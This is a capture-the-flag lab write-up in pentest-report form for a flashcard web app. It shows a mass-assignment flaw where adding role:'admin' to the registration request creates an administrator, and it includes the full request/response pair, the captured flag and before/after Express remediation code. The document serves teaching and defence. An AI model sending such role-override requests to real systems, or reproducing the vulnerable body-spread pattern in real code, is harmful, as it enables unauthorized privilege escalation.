BugForge — 2026.04.29

Tanuki: Mass Assignment via Registration Role Field

BugForge Mass Assignment easy

Part 1: Pentest Report

Executive Summary

Tanuki is a React SPA flashcard / spaced repetition application backed by an Express API and JWT-based session auth. The lab requires retrieving a flag exposed at an admin-gated endpoint. Testing confirmed that anonymous registration accepts a client-supplied role field, allowing any unauthenticated visitor to provision an administrator account in a single request and immediately retrieve the flag.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Mass assignment on registration grants arbitrary role Critical 9.8 CWE-915, CWE-285 POST /api/register

The flag-bearing finding is a textbook mass-assignment defect with no preconditions: no existing account, no privileged network position, no special headers. One HTTP request creates an admin user, one more retrieves the flag.


Objective

Retrieve the flag from GET /api/admin/flag, an endpoint reachable only to users with role:"admin". Starting position is unauthenticated.


Scope / Initial Access

# Target Application
URL: https://lab-1777422113943-qx6yuk.labs-app.bugforge.io/

# Auth details
Self-registration is open at POST /api/register (no auth required).
Login at POST /api/login returns {token, user}.
Tokens are JWT HS256 with payload {id, username, iat}; no role claim in the token.
Authorization middleware reads role from the database on each request via /api/verify-token.

The starting account in this engagement was id=4 (haxor), role:"user", created via the standard registration flow with no role override.


Reconnaissance: Reading the React Bundle

The application ships a single bundled JavaScript file (main.22728e1f.js, ~500 KB). Three observations from that bundle shaped the test plan:

  1. The register form’s useState initial state hardcodes role:"user" alongside the user-facing fields (username, email, password, full_name).
  2. The submit handler posts the entire form state object to /api/register (Ro.post("/api/register", e) with e being the full form state, not a hand-built payload).
  3. The decoded JWT contains {id, username, iat} only. The bundled API client calls /api/verify-token after login and trusts the returned role for all client-side admin gating, which means the server holds the role and reads it back from persistent storage, not from the token claims.

Observation 1 is the load bearing one: a security relevant field is present in the form state but never rendered as a control, so it ships on every registration request as if it were a constant. The test plan was to send role:"admin" in the body of POST /api/register and check whether the server persisted the supplied value.


Application Architecture

Component Detail
Backend Express (X-Powered-By: Express)
Frontend React SPA, single bundle main.22728e1f.js
Auth JWT HS256, Authorization: Bearer <token>, payload {id, username, iat}
Authorization Server-side role lookup via /api/verify-token (token does not carry role)

API Surface

Endpoint Method Auth Notes
/api/register POST none Body accepts username, email, password, full_name, role
/api/login POST none Returns {token, user}
/api/verify-token GET JWT Returns the user object including role
/api/admin/flag GET admin Returns {flag: "..."}
/api/admin/users GET/POST/PUT/DELETE admin Full CRUD on user records
/api/admin/decks GET/POST/PUT/DELETE admin Full CRUD on decks
/api/admin/cards GET/POST/PUT/DELETE admin Full CRUD on cards
/api/decks GET JWT User-visible decks
/api/study/:deckId/cards GET JWT Numeric path param
/api/study/sessions GET JWT User-scoped session history
/api/stats GET JWT User-scoped stats

Attack Chain Visualization

┌──────────────────────┐    ┌──────────────────────┐    ┌──────────────────────┐
│ Read register form   │    │ POST /api/register   │    │ GET /api/admin/flag  │
│ in JS bundle: form   │ ─▶ │ body adds            │ ─▶ │ with new admin JWT   │
│ state hardcodes      │    │ role:"admin"         │    │                      │
│ role:"user" and      │    │ → 200, user.role =   │    │ → 200, body          │
│ posts whole object   │    │ "admin", JWT issued  │    │ contains the flag    │
└──────────────────────┘    └──────────────────────┘    └──────────────────────┘

Findings

F1: Mass assignment on registration grants arbitrary role

Severity: Critical CVSS v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes), CWE-285 (Improper Authorization) Endpoint: POST /api/register Authentication required: No

Description

The registration endpoint accepts a role field in the JSON request body and persists it to the new user record without server-side validation, default override, or field whitelisting. The frontend form stores role:"user" in its initial state and posts the entire state object, but the field is fully client-controlled. Sending role:"admin" produces an administrator account on the first request.

The JWT issued at registration carries only {id, username, iat}. Authorization on admin endpoints relies on the server reading the role from the database via /api/verify-token. Because the role written at registration came from the request body, every later authorization check on admin-only endpoints succeeds for the new account.

Impact

Any unauthenticated visitor can self-promote to administrator and read or modify all admin-scoped data, including the flag.

Reproduction

Step 1: Register with role:"admin" in the body

POST /api/register HTTP/1.1
Host: lab-1777422113943-qx6yuk.labs-app.bugforge.io
Content-Type: application/json

{"username":"haxor2","email":"[email protected]","password":"password","full_name":"","role":"admin"}
HTTP/1.1 200 OK
Content-Type: application/json

{"token":"eyJ...QHAg4Nirsc","user":{"id":5,"username":"haxor2","email":"[email protected]","role":"admin"}}

The response shows the server accepted and persisted role:"admin". The returned JWT is for user id=5.

Step 2: Retrieve the flag using the new admin JWT

GET /api/admin/flag HTTP/1.1
Host: lab-1777422113943-qx6yuk.labs-app.bugforge.io
Authorization: Bearer eyJ...QHAg4Nirsc
HTTP/1.1 200 OK
Content-Type: application/json

{"flag":"bug{z4TxjPGK3KqcA33WcIsC0eW1EHla4njZ}"}

The admin-gated endpoint returns the flag directly in the response body.

Remediation

Fix 1: Whitelist accepted fields server-side and assign role from a server controlled default

// BEFORE (Vulnerable: spreads request body into the user record)
app.post('/api/register', async (req, res) => {
  const user = await db.users.create({ ...req.body });
  return res.json({ token: signToken(user), user });
});

// AFTER (Secure: explicit field list, role fixed server-side)
app.post('/api/register', async (req, res) => {
  const { username, email, password, full_name } = req.body;
  if (!username || !email || !password) {
    return res.status(400).json({ error: 'missing required fields' });
  }
  const user = await db.users.create({
    username,
    email,
    password: await hash(password),
    full_name: full_name ?? '',
    role: 'user',
  });
  return res.json({ token: signToken(user), user: serialize(user) });
});

Additional recommendations:

  • Apply the same explicit field whitelist pattern to every endpoint that accepts user supplied JSON and writes to a model: profile updates, account settings, any future create / update routes. Object spread persistence is the root pattern; remove it everywhere.
  • Add an integration test that asserts register({role:"admin"}) produces a user with role:"user". The same test should cover any other privileged field (for example a future tier, permissions, is_staff).
  • Consider adding role change endpoints that are themselves admin gated and audit logged, so the only path to elevated roles is via an existing administrator.
  • The JWT could optionally carry role as a signed claim to remove the per request /api/verify-token round trip, but this is a separate concern. It does not fix the registration defect.

OWASP Top 10 Coverage

  • A04:2021 Insecure Design: Trusting a request body field for authorization role assignment is the design flaw. The server must own the role decision; the client must not be able to influence it.
  • A01:2021 Broken Access Control: Privilege escalation from anonymous to administrator via a single registration request.

Tools Used

Tool Purpose
Caido (edit mode) Replay register and flag retrieval requests with auth preserved
Browser DevTools Read the bundled JavaScript and inspect the register form’s state shape
curl Reproduction commands for the writeup

References


Part 2: Notes / Knowledge

Key Learnings

  • Hardcoded role / permission / tier values in a form’s useState initial state are a high confidence mass-assignment tell. In Tanuki the register form stored role:"user" next to the user-facing fields and posted the entire state object. The field rode on every request body but was invisible from the rendered UI. Probe the elevated value (role:"admin", tier:"premium", is_admin:true) before any other vector when this shape shows up in the bundle.

Failed Approaches

Approach Result Why It Failed
(none) The primary hypothesis succeeded on the first probe; no other vectors were exercised. n/a

Tags: #mass-assignment #broken-access-control #bugforge #webapp #jwt Document Version: 1.0 Last Updated: 2026-04-29

#mass-assignment #broken-access-control #jwt #bugforge #webapp